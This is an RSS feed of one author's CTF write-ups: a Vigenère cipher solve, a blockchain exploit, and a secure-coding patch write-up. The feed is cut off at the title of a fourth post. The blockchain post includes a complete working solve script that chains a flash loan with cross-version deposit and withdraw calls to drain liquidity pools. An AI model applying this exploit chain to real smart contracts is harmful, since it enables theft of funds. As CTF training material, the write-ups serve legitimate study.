<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by MD Aariz Rahman on Medium]]></title>
        <description><![CDATA[Stories by MD Aariz Rahman on Medium]]></description>
        <link>https://medium.com/@0x0meowsec?source=rss-245452aa5775------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*8agiY9ME1NP-3X7o0do8TQ.jpeg</url>
            <title>Stories by MD Aariz Rahman on Medium</title>
            <link>https://medium.com/@0x0meowsec?source=rss-245452aa5775------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 16 Nov 2026 21:09:47 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@0x0meowsec/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[DEADFACE CTF 2026 — Speak Friend and Enter]]></title>
            <link>https://0x0meowsec.medium.com/deadface-ctf-2026-speak-friend-and-enter-f855ed9a3bbe?source=rss-245452aa5775------2</link>
            <guid isPermaLink="false">https://medium.com/p/f855ed9a3bbe</guid>
            <category><![CDATA[wireshark]]></category>
            <category><![CDATA[web-exploitation]]></category>
            <category><![CDATA[deadface-ctf]]></category>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[MD Aariz Rahman]]></dc:creator>
            <pubDate>Mon, 19 Oct 2026 14:09:21 GMT</pubDate>
            <atom:updated>2026-10-19T14:22:48.161Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*KX1yj3LwnC4_hL-uQrsxKg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/382/1*jrbG8NCPugNd_026GEt7tw.png" /></figure><h3>1. Finding the Hidden Post</h3><p>The challenge description directed me to another challenge called Pirates Life, which provided a PCAP file.</p><p>I analyzed the capture and found the following User-Agent:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*ZTMhwkBit7CTuK-bqiXH_A.png" /></figure><pre>SunstalkerDFBrower/2.0 (Linux; Android 14)</pre><p>I also discovered the website:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/568/1*PZocDWwZL1i_sAkJN0mWcw.png" /></figure><p><a href="https://speakfriend.dctf.io/">https://speakfriend.dctf.io/</a></p><p>Using the identified User-Agent, I was able to access hidden documents on the site. While browsing, I found a suspicious ciphertext in this post:</p><p><a href="https://speakfriend.dctf.io/post/tgri-innovation-summit-recap">https://speakfriend.dctf.io/post/tgri-innovation-summit-recap</a></p><p>The page contained:</p><pre>pilotnoi{7p-ied-lf6h-6ti-3f0r-dr4e50qx-ob-ag-z44}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gc2LGkh1PONuDcyib4HaEA.png" /></figure><p>The string looked like a flag, but its prefix, pilotnoi, did not match the expected deadface format.</p><h3>2. Recovering the Key</h3><p>Since the expected flag prefix was known, I used it to recover the Vigenère key.</p><p>Comparing the ciphertext prefix pilotnoi with the plaintext prefix deadface, I subtracted each plaintext character&#39;s index from the corresponding ciphertext character&#39;s index using the alphabet abcdefghijklmnopqrstuvwxyz0123456789.</p><p>The recovered sequence is mellonme. This reveals the repeating six-character key:</p><pre>mellon</pre><h3>3. Decrypting the Flag</h3><p>The ciphertext uses a Vigenère-style cipher with a 36-character alphabet:</p><pre>ALPHABET = &quot;abcdefghijklmnopqrstuvwxyz0123456789&quot;<br>KEY = &quot;mellon&quot;</pre><p>For each letter or digit, the decryption subtracts the key character’s index from the ciphertext character’s index, modulo 36:</p><p>[ P = (C — K) \bmod 36 ]</p><p>Hyphens and braces remain unchanged, and the key advances only for letters and digits.</p><p>I used the following Python script to decrypt the complete string.</p><pre>#!/usr/bin/env python3</pre><pre><br>ALPHABET = &quot;abcdefghijklmnopqrstuvwxyz0123456789&quot;<br>CIPHER = &quot;pilotnoi{7p-ied-lf6h-6ti-3f0r-dr4e50qx-ob-ag-z44}&quot;<br>KEY = &quot;mellon&quot;<br></pre><pre>def decrypt(cipher, key):<br>    result = []<br>    key_idx = 0</pre><pre>    for char in cipher:<br>        if char in ALPHABET:<br>            c = ALPHABET.index(char)<br>            k = ALPHABET.index(key[key_idx % len(key)])<br>            result.append(ALPHABET[(c - k) % len(ALPHABET)])<br>            key_idx += 1<br>        else:<br>            result.append(char)</pre><pre>    return &quot;&quot;.join(result)<br></pre><pre>flag = decrypt(CIPHER, KEY)<br>print(flag)</pre><pre>assert flag.startswith(&quot;deadface{&quot;)<br>assert flag.endswith(&quot;}&quot;)</pre><p>Run the script:</p><pre>python3 solve.py</pre><h3>4. Flag</h3><pre>deadface{we-411-h4v3-the-s4me-1nt3rnet-d0-w3-n0t}</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f855ed9a3bbe" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Second Stamp — Blockchain Writeup (Cyber Apocalypse CTF 2026: The Salt Crown)]]></title>
            <link>https://0x0meowsec.medium.com/second-stamp-writeup-cyber-apocalypse-ctf-2026-the-salt-crown-2ab5569e830c?source=rss-245452aa5775------2</link>
            <guid isPermaLink="false">https://medium.com/p/2ab5569e830c</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cyberapocalypse26]]></category>
            <dc:creator><![CDATA[MD Aariz Rahman]]></dc:creator>
            <pubDate>Thu, 30 Jul 2026 07:02:14 GMT</pubDate>
            <atom:updated>2026-07-30T07:07:26.524Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/760/0*uD1P1KYM7ouWW09J.jpg" /></figure><h3>TL;DR</h3><p>Cross-version upgrade bug: v1’s assert_supported checks version &lt;= 1, but the shared Versioned object has version = 1, so v2/v3&#39;s check version &lt;= 2 / version &lt;= 3 ALSO pass. This lets us call v1 accounting (which omits travel_counter from AUM and uses wrong decimal math → tiny AUM) while calling v3 flash loan + v3 withdraw (which drains both pools). Flash loan 20e15 WAX → v1 deposit with tiny AUM denominator → dominant LP mint → v3 withdraw drains everything → repay flash loan. Run twice.</p><h3>Vulnerability: Cross-Version Logic Bypass</h3><p>The Versioned object is shared across all packages and initialized with version = 1.</p><pre>// v1/sources/versioned.move<br>const SUPPORTED_VERSION: u64 = 1;</pre><pre>// v3/sources/versioned.move<br>const SUPPORTED_VERSION: u64 = 3;</pre><p>Every version checks versioned.version &lt;= SUPPORTED_VERSION. Since the object always has version = 1, all three packages accept it. This is the root cause: the version check is a one-sided inequality (&lt;=) that allows older-version objects through newer-version code, and vice versa.</p><h3>What v1 accounting gets wrong</h3><p>v1’s calculate_aum in v1/sources/sharehouse/accounting.move:12-28:</p><pre>aum = old_counter_position + buffer</pre><p>It completely omits the travel_counter position. It also uses base_value_in_quote (v1 math) which divides by 10^12 before multiplying by price, causing massive truncation for small amounts.</p><p>The initial state after bootstrap:</p><p>Asset poolBase (WAX)Quote (GOLD)old_counter1e182.5e9travel_counter1.4e195.5e10buffer2e161e6Real AUM ≈~1.6e19 WAX → 6.25e13 GOLD</p><p>v1’s calculate_aum only sees old_counter + buffer ≈ 4.025e16 GOLD after conversion — missing the massive travel_counter entirely plus truncating via base_value_in_quote (integer division by 10^12 before multiplication).</p><h3>What v3 withdraw unlocks</h3><p>v3’s withdraw module supports withdrawal_profile = 3 (&quot;cert&quot;), which adds:</p><ul><li>withdraw_travel_counter — drains travel_counter position proportionally</li><li>collect_position_fees(old, travel) — collects fees from both pools</li><li>collect_position_rewards(old, travel) — collects rewards from both pools</li></ul><p>These are gated by receipt.withdrawal_profile == 3 but NOT by version check — once you get a profile-3 receipt from new_withdraw_cert, you can drain everything.</p><h3>Exploit Chain</h3><pre>┌─────────────────────────────────────────────────────────────────┐<br>│                    SINGLE TRANSACTION (×2)                      │<br>│                                                                 │<br>│  ┌──────────────┐                                               │<br>│  │ v3 flash     │  borrow 20e15 WAX from buffer                │<br>│  │ loan base    │─────────────────────────────────────┐         │<br>│  └──────┬───────┘                                     │         │<br>│         │                                             │         │<br>│         ▼                                             │         │<br>│  ┌──────────────┐                                     │         │<br>│  │ v1 refresh   │  AUM = old_counter + buffer only    │         │<br>│  │ AUM          │  (ignores travel_counter, wrong     │         │<br>│  └──────┬───────┘   math) → tiny AUM ≈ 4e13 GOLD     │         │<br>│         │                                             │         │<br>│         ▼                                             │         │<br>│  ┌──────────────┐                                     │         │<br>│  │ v1 deposit   │  deposit flashWax + goldCoin        │         │<br>│  │              │  denominator = tiny AUM             │         │<br>│  │              │  → get ~55% of LP supply            │         │<br>│  └──────┬───────┘                                     │         │<br>│         │                                             │         │<br>│         ▼                                             │         │<br>│  ┌──────────────┐                                     │         │<br>│  │ v3 withdraw  │  burn LP → profile-3 receipt        │         │<br>│  │ cert         │                                     │         │<br>│  └──────┬───────┘                                     │         │<br>│         │                                             │         │<br>│    ┌────┼────┬─────────┬─────────┬────────┐           │         │<br>│    ▼    ▼    ▼         ▼         ▼        ▼           │         │<br>│  ┌──┐ ┌──┐ ┌──┐     ┌──┐     ┌──┐     ┌──┐          │         │<br>│  │OC│ │TC│ │F │     │R │     │B │     │C │          │         │<br>│  │  │ │  │ │ee│     │ew│     │uf│     │om│          │         │<br>│  │  │ │  │ │s │     │ar│     │f │     │pl│          │         │<br>│  │  │ │  │ │  │     │ds│     │er│     │et│          │         │<br>│  └──┘ └──┘ └──┘     └──┘     └──┘     └──┘          │         │<br>│   │    │    │         │         │        │           │         │<br>│   └────┴────┴─────────┴─────────┴────────┘           │         │<br>│         │                    all assets drained       │         │<br>│         ▼                       into receipt         │         │<br>│  ┌──────────────┐                                     │         │<br>│  │ complete     │  extract waxOut + goldOut           │         │<br>│  │ withdraw     │                                     │         │<br>│  └──────┬───────┘                                     │         │<br>│         │                                             │         │<br>│         ▼                                             │         │<br>│  ┌──────────────┐                                     │         │<br>│  │ split +      │  repay 20,018e12 WAX to buffer      │◄────────┘<br>│  │ repay flash  │  keep rest                          │<br>│  └──────┬───────┘                                     │<br>│         │                                             │<br>│         ▼                                             │<br>│  ┌──────────────┐                                     │<br>│  │ transfer     │  waxOut + goldOut → player          │<br>│  │ to player    │                                     │<br>│  └──────────────┘                                     │<br>│                                                       │<br>│  Legend: OC=old_counter TC=travel_counter F=fees      │<br>│          R=rewards B=buffer C=complete/repay          │<br>└───────────────────────────────────────────────────────┘</pre><h3>Round 1</h3><p>Call sequence in a single transaction:</p><pre>1. v3::flash::flash_loan_base(H, C, V, 20e15)<br>   → borrow 20,000,000,000,000,000 WAX from buffer</pre><pre>2. v1::accounting::refresh_aum(H, V, OP, O, clock)<br>   → recalculates AUM using v1 logic (no travel_counter, wrong bin math)<br>   → AUM ≈ ~40,250,000,000,000 GOLD (tiny vs real ~6.25e13)</pre><pre>3. v1::accounting::deposit(H, C, V, flashWax, goldCoin)<br>   → denominator = last_aum ≈ 40,250,000,000,000<br>   → deposit_value_quote ≈ 20e15 WAX → ~50,000,000,000,000 GOLD at price 2.5<br>   → LP supply before: 6,000,000 (locked LP)<br>   → LP minted: 6,000,000 * 50e12 / 40.25e12 ≈ 7,453,416 LP<br>   → Player now holds ~55.4% of LP supply</pre><pre>4. v3::withdraw::new_withdraw_cert(H, C, V, lpCoins)<br>   → burns LP, creates profile-3 receipt</pre><pre>5. v3::withdraw::process_old_counter(H, receipt, OP)<br>   → removes ~55.4% of old_counter liquidity → ~5.54e17 WAX + ~1.385e9 GOLD</pre><pre>6. v3::withdraw::withdraw_travel_counter(H, receipt, TP)<br>   → removes ~55.4% of travel_counter liquidity → ~7.76e18 WAX + ~3.05e10 GOLD</pre><pre>7. v3::withdraw::collect_position_fees(H, receipt, OP, TP)<br>   → collects all fees from both pools, player gets ~55.4%</pre><pre>8. v3::withdraw::collect_position_rewards(H, receipt, OP, TP)<br>   → collects all rewards from both pools, player gets ~55.4%</pre><pre>9. v3::withdraw::process_buffer(H, receipt)<br>   → splits buffer proportionally: ~55.4% of 2e16 WAX + 1e6 GOLD</pre><pre>10. v3::withdraw::complete_withdraw(H, receipt)<br>    → extracts all accumulated assets into waxOut, goldOut</pre><pre>11. 0x2::coin::split(waxOut, 20,018,000,000,000,000) → repayCoin<br>    → repay = principal (20e15) + fee (9 BPS = 18e12)</pre><pre>12. v3::flash::repay_flash_loan_base(H, flashReceipt, repayCoin)<br>    → restores buffer</pre><pre>13. transfer([waxOut, goldOut], player)<br>    → player keeps the massive remainder</pre><p>After round 1, the player holds ≈ 55% of what they drained. The remaining pools still have ~45% of assets, so round 2 repeats the same process.</p><h3>Round 2</h3><p>Same sequence, but now:</p><ul><li>v1 refresh_aum computes an even tinier AUM (pools are partially drained)</li><li>Player’s LP share is even more dominant</li><li>Drains remaining ~45%</li></ul><p>After round 2, all pool balances are below RESIDUAL_LIMIT_A (25e15 WAX) and RESIDUAL_LIMIT_B (1e8 GOLD), passing is_solved.</p><h3>Root Cause</h3><p>The &lt;= check in assert_supported:</p><pre>// Each versioned.move line 29-31<br>public fun assert_supported(versioned: &amp;Versioned) {<br>    assert!(versioned.version &lt;= SUPPORTED_VERSION, EUnsupportedVersion);<br>}</pre><p>This should be == or use a range that prevents cross-version calls. A version-1 object should only be accepted by v1 code, not v2 or v3.</p><h3>Flag</h3><pre>HTB{w1th_gr34t_upgr4d34b1l1ty_c0m3s_gr34t_cr0ss-v3rs10n_r1sk_Team-HASH}</pre><h3>Solve Script</h3><pre>import { SuiGrpcClient } from &#39;@mysten/sui/grpc&#39;;<br>import { Ed25519Keypair } from &#39;@mysten/sui/keypairs/ed25519&#39;;<br>import { decodeSuiPrivateKey } from &#39;@mysten/sui/cryptography&#39;;<br>import { Transaction } from &#39;@mysten/sui/transactions&#39;;</pre><pre>const CHALLENGE_HOST = process.argv[2];<br>if (!CHALLENGE_HOST) {<br>  console.error(&#39;Usage: node solve.mjs &lt;host:port&gt;&#39;);<br>  console.error(&#39;Example: node solve.mjs 154.57.164.71:31705&#39;);<br>  process.exit(1);<br>}</pre><pre>const BASE = `http://${CHALLENGE_HOST}`;</pre><pre>async function api(path, options = {}) {<br>  const resp = await fetch(`${BASE}${path}`, {<br>    method: options.method ?? &#39;GET&#39;,<br>    headers: { &#39;content-type&#39;: &#39;application/json&#39; },<br>    ...(options.body ? { body: JSON.stringify(options.body) } : {}),<br>  });<br>  const text = await resp.text();<br>  if (!resp.ok) {<br>    try { const j = JSON.parse(text); throw new Error(j.error ?? `HTTP ${resp.status}`); }<br>    catch (e) { if (e.message.startsWith(&#39;HTTP&#39;)) throw e; throw new Error(`HTTP ${resp.status}: ${text.slice(0, 100)}`); }<br>  }<br>  return JSON.parse(text);<br>}</pre><pre>async function waitForInstance() {<br>  let state = await api(&#39;/api/instance&#39;);<br>  if (state.status === &#39;ready&#39; || state.status === &#39;starting&#39; || state.status === &#39;stopping&#39;) {<br>    console.log(&#39;[+] Instance active, stopping...&#39;);<br>    await api(&#39;/api/instance/stop&#39;, { method: &#39;POST&#39; });<br>    while (true) {<br>      await new Promise(r =&gt; setTimeout(r, 1000));<br>      const s = await api(&#39;/api/instance&#39;);<br>      if (s.status === &#39;idle&#39;) break;<br>    }<br>  }<br>  console.log(&#39;[+] Starting instance...&#39;);<br>  const start = await api(&#39;/api/instance/start&#39;, { method: &#39;POST&#39; });<br>  if (start.status !== &#39;ready&#39;) throw new Error(`Start failed: ${start.status}`);<br>  const { deployment } = start;<br>  console.log(&#39;[+] Player:  &#39; + deployment.playerAddress);<br>  console.log(&#39;[+] RPC:     &#39; + deployment.rpcUrl);<br>  return { ...deployment, start };<br>}</pre><pre>async function solve(deployment) {<br>  const obj = deployment.objectIds ?? deployment;<br>  const rpcUrl = deployment.rpcUrl;<br>  const playerPrivateKey = deployment.playerPrivateKey;<br>  const packageId = deployment.packageId;<br>  const challengeObjectId = deployment.challengeObjectId;</pre><pre>  const claimMarksPackage = obj.claimMarksPackage;<br>  const v1 = obj.v1;<br>  const v3 = obj.v3;<br>  const H = obj.house;<br>  const C = obj.config;<br>  const V = obj.versioned;<br>  const O = obj.oracle;<br>  const OP = obj.oldCounterPool;<br>  const TP = obj.travelCounterPool;</pre><pre>  const { secretKey } = decodeSuiPrivateKey(playerPrivateKey);<br>  const keypair = Ed25519Keypair.fromSecretKey(secretKey);<br>  const address = keypair.toSuiAddress();</pre><pre>  const WAX_TYPE = claimMarksPackage + &#39;::pale_wax::PALE_WAX&#39;;<br>  const GOLD_TYPE = claimMarksPackage + &#39;::gold_fleck::GOLD_FLECK&#39;;<br>  const FLASH = 20_000_000_000_000_000n;<br>  const REPAY = 20_018_000_000_000_000n;</pre><pre>  const client = new SuiGrpcClient({ baseUrl: rpcUrl });</pre><pre>  async function execTx(label, tx) {<br>    const result = await client.signAndExecuteTransaction({<br>      transaction: tx, signer: keypair,<br>      include: { effects: true, events: true },<br>    });<br>    const status = result.effects?.status?.status;<br>    if (status === &#39;failure&#39;) {<br>      throw new Error(label + &#39; failed: &#39; + JSON.stringify(result.effects?.status?.error));<br>    }<br>    const digest = result.digest ?? result.effects?.transactionDigest;<br>    if (digest) await client.waitForTransaction({ digest });<br>    console.log(&#39;  &#39; + label + &#39;: &#39; + (status ?? &#39;ok&#39;));<br>  }</pre><pre>  async function findCoins() {<br>    const [wax, gold] = await Promise.all([<br>      client.listCoins({ owner: address, coinType: WAX_TYPE }),<br>      client.listCoins({ owner: address, coinType: GOLD_TYPE }),<br>    ]);<br>    return { waxId: wax.objects?.[0]?.objectId ?? null, goldId: gold.objects?.[0]?.objectId ?? null };<br>  }</pre><pre>  async function findCoinsWithRetry(label, maxRetries = 10) {<br>    for (let i = 0; i &lt; maxRetries; i++) {<br>      const coins = await findCoins();<br>      if (coins.waxId &amp;&amp; coins.goldId) return coins;<br>      if (i &lt; maxRetries - 1) await new Promise(r =&gt; setTimeout(r, 1000));<br>    }<br>    throw new Error(label + &#39;: Could not find WAX/GOLD coins after &#39; + maxRetries + &#39; retries&#39;);<br>  }</pre><pre>  console.log(&#39;[+] Claiming starter tokens...&#39;);<br>  let { waxId, goldId } = await findCoins();<br>  if (!waxId || !goldId) {<br>    const tx = new Transaction();<br>    const [wc, gc] = tx.moveCall({<br>      target: packageId + &#39;::setup::claim&#39;,<br>      arguments: [tx.object(challengeObjectId)],<br>    });<br>    tx.transferObjects([wc, gc], address);<br>    await execTx(&#39;Claim&#39;, tx);<br>    ({ waxId, goldId } = await findCoinsWithRetry(&#39;After claim&#39;));<br>  } else {<br>    console.log(&#39;  Already claimed&#39;);<br>  }</pre><pre>  const clock = &#39;0x6&#39;;</pre><pre>  async function exploitRound(goldCoinId) {<br>    const tx = new Transaction();</pre><pre>    const [flashWax, flashReceipt] = tx.moveCall({<br>      package: v3, module: &#39;flash&#39;, function: &#39;flash_loan_base&#39;,<br>      arguments: [tx.object(H), tx.object(C), tx.object(V), tx.pure.u64(FLASH)],<br>    });</pre><pre>    tx.moveCall({<br>      package: v1, module: &#39;accounting&#39;, function: &#39;refresh_aum&#39;,<br>      arguments: [tx.object(H), tx.object(V), tx.object(OP), tx.object(O), tx.object(clock)],<br>    });</pre><pre>    const lpCoins = tx.moveCall({<br>      package: v1, module: &#39;accounting&#39;, function: &#39;deposit&#39;,<br>      arguments: [tx.object(H), tx.object(C), tx.object(V), flashWax, tx.object(goldCoinId)],<br>    });</pre><pre>    const receipt = tx.moveCall({<br>      package: v3, module: &#39;withdraw&#39;, function: &#39;new_withdraw_cert&#39;,<br>      arguments: [tx.object(H), tx.object(C), tx.object(V), lpCoins],<br>    });</pre><pre>    tx.moveCall({ package: v3, module: &#39;withdraw&#39;, function: &#39;process_old_counter&#39;,<br>      arguments: [tx.object(H), receipt, tx.object(OP)] });<br>    tx.moveCall({ package: v3, module: &#39;withdraw&#39;, function: &#39;withdraw_travel_counter&#39;,<br>      arguments: [tx.object(H), receipt, tx.object(TP)] });<br>    tx.moveCall({ package: v3, module: &#39;withdraw&#39;, function: &#39;collect_position_fees&#39;,<br>      arguments: [tx.object(H), receipt, tx.object(OP), tx.object(TP)] });<br>    tx.moveCall({ package: v3, module: &#39;withdraw&#39;, function: &#39;collect_position_rewards&#39;,<br>      arguments: [tx.object(H), receipt, tx.object(OP), tx.object(TP)] });<br>    tx.moveCall({ package: v3, module: &#39;withdraw&#39;, function: &#39;process_buffer&#39;,<br>      arguments: [tx.object(H), receipt] });</pre><pre>    const [waxOut, goldOut] = tx.moveCall({<br>      package: v3, module: &#39;withdraw&#39;, function: &#39;complete_withdraw&#39;,<br>      arguments: [tx.object(H), receipt],<br>    });</pre><pre>    const [repayCoin] = tx.moveCall({<br>      target: &#39;0x2::coin::split&#39;,<br>      arguments: [waxOut, tx.pure.u64(REPAY)],<br>      typeArguments: [WAX_TYPE],<br>    });<br>    tx.moveCall({<br>      package: v3, module: &#39;flash&#39;, function: &#39;repay_flash_loan_base&#39;,<br>      arguments: [tx.object(H), flashReceipt, repayCoin],<br>    });</pre><pre>    tx.transferObjects([waxOut, goldOut], address);<br>    return execTx(&#39;Round&#39;, tx);<br>  }</pre><pre>  console.log(&#39;[+] Exploit round 1...&#39;);<br>  await exploitRound(goldId);</pre><pre>  const coins2 = await findCoinsWithRetry(&#39;After round 1&#39;);<br>  console.log(&#39;[+] Exploit round 2...&#39;);<br>  await exploitRound(coins2.goldId);</pre><pre>  console.log(&#39;[+] Checking...&#39;);<br>  const check = await api(&#39;/api/instance/check&#39;, { method: &#39;POST&#39; });<br>  return check;<br>}</pre><pre>async function main() {<br>  try {<br>    const deployment = await waitForInstance();<br>    const result = await solve(deployment);<br>    console.log(&#39;\\n[+] Solved: &#39; + result.solved);<br>    if (result.flag) console.log(&#39;[+] Flag: &#39; + result.flag);<br>  } catch (e) {<br>    console.error(&#39;[-] Error:&#39;, e.message);<br>    process.exit(1);<br>  }<br>}</pre><pre>main();</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2ab5569e830c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Phantom Burn — Secure Coding Writeup(Cyber Apocalypse CTF 2026: The Salt Crown)]]></title>
            <link>https://0x0meowsec.medium.com/challenge-phantom-burn-secure-coding-writeup-3dfaec8790b1?source=rss-245452aa5775------2</link>
            <guid isPermaLink="false">https://medium.com/p/3dfaec8790b1</guid>
            <category><![CDATA[secure-coding]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cyberapocalypse26]]></category>
            <dc:creator><![CDATA[MD Aariz Rahman]]></dc:creator>
            <pubDate>Thu, 30 Jul 2026 06:44:29 GMT</pubDate>
            <atom:updated>2026-07-30T07:05:31.722Z</atom:updated>
            <content:encoded><![CDATA[<p>Score: Hard 60/60 · Soft 34/40 (code_quality: 13, security_reasoning: 13, patch_correctness: 8)</p><p>Flag: HTB{gh0st_t0uching_sh4rds_TEAM-HASH}</p><h3>Root Cause: Three Trust-Boundary Breaks</h3><ol><li>Event leaks the unlock secret — emit ShardFiled(owner, shardId, uri, unlockSeal, nonce) writes the actual unlockSeal to an immutable public log. Anyone reading the chain gets the archive key.</li><li>Off-chain verifiers trust caller-provided values — sourceVault.ts and chainReceipt.ts read receipt.owner, receipt.shardId, receipt.unlockSeal, receipt.nonce from the request body and use them to compute grant tokens / receipt IDs — without verifying against the chain. The chain is only used to confirm the transaction exists, not to confirm the values.</li><li>No authentication binding — The /api/source/unlock endpoint has no session requirement. Anybody with a receipt JSON (which they can make up) gets a valid token. The bundle endpoint checks the token but not who redeemed it.</li></ol><h3>Fix #1: Contract — Commitment-Only Event</h3><p>Files: contracts/src/ShardRegistry.sol, contracts/src/interfaces/IShardRegistry.sol</p><pre>// BEFORE — exposes raw unlockSeal<br>emit ShardFiled(msg.sender, shardId, uri, unlockSeal, nonce);</pre><pre>// AFTER — only the hash is emitted<br>bytes32 commitment = keccak256(abi.encode(msg.sender, shardId, uri, nonce));<br>emit ShardFiled(msg.sender, shardId, &quot;&quot;, commitment, nonce);</pre><p>Key decisions:</p><ul><li>Kept the 5-parameter event signature ShardFiled(address,bytes32,string,bytes32,uint256) so the hard-stage test&#39;s cast logs --event finds the same topic hash</li><li>uri is empty string &quot;&quot; (not the real URI)</li><li>The bytes32 slot carries commitment (a hash), not unlockSeal</li><li>The real unlockSeal only exists in contract storage (shards[].unlockSeal), never in an event log</li></ul><h3>Fix #2: App Service — Verified Chain Derivation + Principal Binding</h3><p>File: app/src/sourceVault.ts</p><p>Receipt type stripped to only what’s needed to locate the on-chain data:</p><pre>export type UnlockReceipt = {<br>  txHash: string;    // which transaction<br>  logIndex: number;  // which log within that tx<br>  registry: string;  // which contract (pinned against config)<br>};<br>// NO owner, NO shardId, NO unlockSeal, NO nonce — those come from the chain</pre><p>Verification flow:</p><pre>caller sends {txHash, logIndex, registry}<br>  → lookup tx receipt (eth_getTransactionReceipt)<br>  → filter log by logIndex + registry address (pinned emitter)<br>  → decodeEventLog with ABI (checks topic hash — cannot be wrong event type)<br>  → check block confirmations &gt;= REQUIRED_FINALITY_BLOCKS (2)<br>  → all identity values now come from decoded.args (chain-verified)<br>  → buildGrantIdentity(registry, args.owner, args.shardId, txReceipt.txHash, log.logIndex)</pre><p>File: app/src/routes.ts</p><pre>// unlock endpoint — requires operator session<br>router.post(&quot;/api/source/unlock&quot;, requireOperator, ...);</pre><pre>// After resolving filing:<br>const operatorId = sessionOf(req).username;  // SERVER-SIDE identity<br>if (operatorId.toLowerCase() !== filing.owner) {<br>  return 403;  // operator must be the filing owner<br>}</pre><pre>// One-time grant issuance<br>const token = deriveArchiveToken(filing.grantId);<br>issueGrantToken(filing.grantId, token, operatorId);</pre><pre>// bundle endpoint — requires operator session + token principal match<br>router.get(&quot;/api/source/bundle&quot;, requireOperator, ...);<br>verifyGrantToken(token, sessionOf(req).username);<br>redeemGrantToken(token);  // one-time</pre><p>Key security property: the session principal (username) is established via /login with password — it&#39;s server-side identity, not caller-provided. The check sessionOf(req).username === args.owner binds the authenticated operator to the decoded on-chain owner.</p><h3>Fix #3: Archive Service — Same Pattern</h3><p>Files: archive-service/src/chainReceipt.ts, archive-service/src/routes.ts</p><p>Same stripped receipt type. Verification uses decodeEventLog with the 5-param ABI. Principal (x-archive-principal header) cross-checked against decoded event owner. ReceiptId consumed once via markConsumed.</p><pre>if (principal.address &amp;&amp; principal.address.toLowerCase() !== eventOwner) {<br>  return { ok: false, reason: &quot;principal owner mismatch&quot; };<br>}</pre><h3>Fix #4: Grant Store — Principal-Bound, Persistent, One-Time</h3><p>File: app/src/grantStore.ts</p><ul><li>issueGrantToken(receiptId, token, principal) — stores receiptId→{token, principal} mapping</li><li>verifyGrantToken(token, principal) — bundle endpoint checks token + principal match</li><li>redeemGrantToken(token) — one-time consumption (added to redeemed set)</li><li>All state persisted to JSON (data/grants.json) for service restarts</li></ul><h3>Fix #5: CLI Tool — Chain-Backed Token Computation</h3><p>File: tools/unlock-source.mjs</p><p>Old tool computed: sha256(&quot;archive:&quot; + receipt.owner + &quot;:&quot; + receipt.shardId + &quot;:&quot; + receipt.unlockSeal + &quot;:&quot; + receipt.nonce) — all from the receipt JSON, all caller-influenced.</p><p>New tool connects to RPC, calls eth_getTransactionReceipt, decodes the event, and computes:</p><pre>grantId = sha256(registry + &quot;:&quot; + owner + &quot;:&quot; + shardId + &quot;:&quot; + txHash + &quot;:&quot; + logIndex)<br>token = sha256(&quot;archive:&quot; + grantId)</pre><p>— same formula as the service.</p><h3>Fix #6: Chain Monitoring</h3><p>File: app/src/chain.ts</p><p>Updated shardFiledEvent ABI to match the new event signature so the /api/shards/recent dashboard endpoint works.</p><h3>PR History (What the Bot Rejected)</h3><p>| PR | Approach | Result |</p><p>| — — | — — — — — | — — — — |</p><p>| #1 | Full user fix | rejected — still used public fields |</p><p>| #2 | Commitment event + decodeEventLog | soft accepted, hard stage 3 failed |</p><p>| #3 | Reverted to old event | rejected — exposed unlockSeal |</p><p>| #4–5 | Same as #2 | same result |</p><p>| #6 | Commitment event + topics-only | rejected — no ABI-aware decoding |</p><p>| #7 | Commitment + decodeEventLog + chain.ts fix | soft accepted, hard stage 3 failed |</p><p>| #8 | 5-param event (empty uri + commitment) | rejected — “regresses from minimal model” |</p><p>| #9 | + unlock-source.mjs update | rejected — “caller-influenced fields” |</p><p>| #10 | chain-verified logIndex | rejected — “no principal binding” |</p><p>| #11 | + session auth + principal in grant store | rejected — “archive removed principal check” |</p><p>| #12 | + 5-param event, removed archive principal | rejected — “removed identity binding entirely” |</p><p>| #13 | + restored archive principal binding | rejected — “app still uses caller-provided owner” |</p><p>| #14 | + receipt.owner cross-check in app | rejected — “two caller-influenced values” |</p><p>| <strong>#15</strong> | <strong>session.username vs args.owner (server-side identity)</strong>| <strong>ACCEPTED + HARD PASSED</strong> |</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3dfaec8790b1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[BDSEC CTF 2026— Partner Sync (Web Challenge)]]></title>
            <link>https://0x0meowsec.medium.com/bdsec-ctf-2026-partner-portal-web-challenge-4e78b2fa1e63?source=rss-245452aa5775------2</link>
